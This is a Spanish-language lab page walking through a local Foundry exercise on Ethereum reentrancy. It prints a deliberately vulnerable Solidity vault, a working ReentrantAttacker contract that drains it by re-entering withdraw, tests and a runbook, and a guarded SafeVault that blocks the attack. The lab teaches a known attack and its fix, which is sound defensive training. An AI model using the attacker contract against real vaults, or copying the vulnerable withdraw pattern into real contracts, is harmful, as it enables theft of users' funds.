Saltar al contenido
TrautsLablab

Ejecutable local con Foundry

Ataque de reentrada

Reproducir un drenaje por reentrancy y comprobar que checks-effects-interactions con guard lo detiene.

Duración
30–45 min
Nivel
Intermedio seguridad
Pasos
1
Versión
3.29.0-alpha.1

Modelo mental

Enviar ETH entrega el control al receptor. Si el contrato pone el balance en cero después de enviar, el receptor puede volver a entrar y retirar otra vez con el mismo saldo.

  1. 1Fixture
  2. 2Ataque
  3. 3Traza
  4. 4Mitigación
  5. 5Cleanup

Antes de empezar

  • Foundry instalado: forge en el PATH (https://getfoundry.sh).
  • Primera ejecución con internet: forge descarga solc 0.8.28 si no lo tienes.

Pasos

  1. Paso 1Ejecutar ataque y mitigación

    Comparar en la traza el vault vulnerable y el seguro bajo el mismo atacante.

    Fixture y tests
    mkdir -p .tmp/reentrancy-lab
    cp -R tools/labs/ethereum-reentrancy-attack-lab/templates/. .tmp/reentrancy-lab/
    cd .tmp/reentrancy-lab
    forge test -vvvv

    Comprueba

    • — forge test: 2 passed; 0 failed.
    • — En testAttackDrainsVulnerableVault, ReentrantAttacker::receive vuelve a llamar a VulnerableVault::withdraw tres veces anidadas (cuatro retiros de 1 ETH en total); el vault termina en 0 y el atacante con 4 ETH.
    • — En testSafeVaultPreservesOtherDeposits, el withdraw anidado revierte con "reentrant", el ataque completo revierte con "send" y SafeVault::balances del depositante sigue en 3e18.

    Evidencia esperada

    Las dos trazas y los balances de vault y atacante.

El código del laboratorio

Estos son los archivos que ejecutan los pasos, tal como están en el repositorio .

tools/labs/ethereum-reentrancy-attack-lab/runbook.md
# Ethereum reentrancy attack lab

Version: `2.0.44-alpha.2`

Copy `templates/` into `.tmp/reentrancy-lab` and run the tests with traces. No public network is required or allowed.

```bash
mkdir -p .tmp/reentrancy-lab
cp -R tools/labs/ethereum-reentrancy-attack-lab/templates/. .tmp/reentrancy-lab/
cd .tmp/reentrancy-lab
forge test -vvvv
```

Compare the two traces:

- `testAttackDrainsVulnerableVault`: `receive` re-enters `VulnerableVault::withdraw` before the balance is zeroed; the vault ends at 0 and the attacker with 4 ETH.
- `testSafeVaultPreservesOtherDeposits`: the same attacker hits `SafeVault`; the nested `withdraw` reverts with `reentrant`, the whole attack reverts with `send`, and the vault keeps 3 ETH.

Evidence: failing invariant, call trace, balances before/after, mitigation and cleanup confirmation.

Cleanup: `rm -rf .tmp/reentrancy-lab`.
tools/labs/ethereum-reentrancy-attack-lab/templates/foundry.toml
[profile.default]
src = "src"
test = "test"
out = "out"
solc_version = "0.8.28"
tools/labs/ethereum-reentrancy-attack-lab/templates/src/ReentrancyLab.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IVault {
    function deposit() external payable;
    function withdraw() external;
}

contract VulnerableVault {
    mapping(address => uint256) public balances;
    function deposit() external payable { balances[msg.sender] += msg.value; }
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "empty");
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send");
        balances[msg.sender] = 0;
    }
}

contract SafeVault {
    mapping(address => uint256) public balances;
    bool private entered;
    function deposit() external payable { balances[msg.sender] += msg.value; }
    function withdraw() external {
        require(!entered, "reentrant");
        entered = true;
        uint256 amount = balances[msg.sender];
        require(amount > 0, "empty");
        balances[msg.sender] = 0;
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send");
        entered = false;
    }
}

contract ReentrantAttacker {
    IVault public immutable target;
    constructor(IVault target_) { target = target_; }
    function attack() external payable {
        require(msg.value == 1 ether, "seed");
        target.deposit{value: 1 ether}();
        target.withdraw();
    }
    receive() external payable {
        if (address(target).balance >= 1 ether) target.withdraw();
    }
}
tools/labs/ethereum-reentrancy-attack-lab/templates/test/ReentrancyLab.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {IVault, VulnerableVault, SafeVault, ReentrantAttacker} from "../src/ReentrancyLab.sol";

contract ReentrancyLabTest {
    function testAttackDrainsVulnerableVault() public {
        VulnerableVault vault = new VulnerableVault();
        vault.deposit{value: 3 ether}();
        ReentrantAttacker attacker = new ReentrantAttacker(IVault(address(vault)));
        attacker.attack{value: 1 ether}();
        require(address(vault).balance == 0, "attack evidence");
        require(address(attacker).balance == 4 ether, "drained balance");
    }

    function testSafeVaultPreservesOtherDeposits() public {
        SafeVault vault = new SafeVault();
        vault.deposit{value: 3 ether}();
        ReentrantAttacker attacker = new ReentrantAttacker(IVault(address(vault)));
        try attacker.attack{value: 1 ether}() {
            revert("attack on SafeVault should revert");
        } catch {}
        require(address(vault).balance == 3 ether, "safe balance");
        require(vault.balances(address(this)) == 3 ether, "victim deposit intact");
        require(address(attacker).balance == 0, "attacker got nothing");
    }

    receive() external payable {}
}

Criterios de aceptación

  • forge test muestra 2 passed.
  • Puedes señalar en la traza la línea donde ocurre la reentrada.
  • Puedes explicar por qué SafeVault resiste incluso sin el guard, gracias al orden de las operaciones.

Limpieza

Fixture
cd ../..
rm -rf .tmp/reentrancy-lab

Si algo falla

Síntoma, causa probable y cómo corregirlo
SíntomaCausaQué hacer
No aparecen las trazasSe usó -vv en vez de -vvvv.Las trazas de llamadas requieren -vvvv.
testSafeVaultPreservesOtherDeposits falla con "attack on SafeVault should revert"Se cambió SafeVault y volvió a ser vulnerable.Pon el balance en cero antes de la llamada externa y conserva el guard.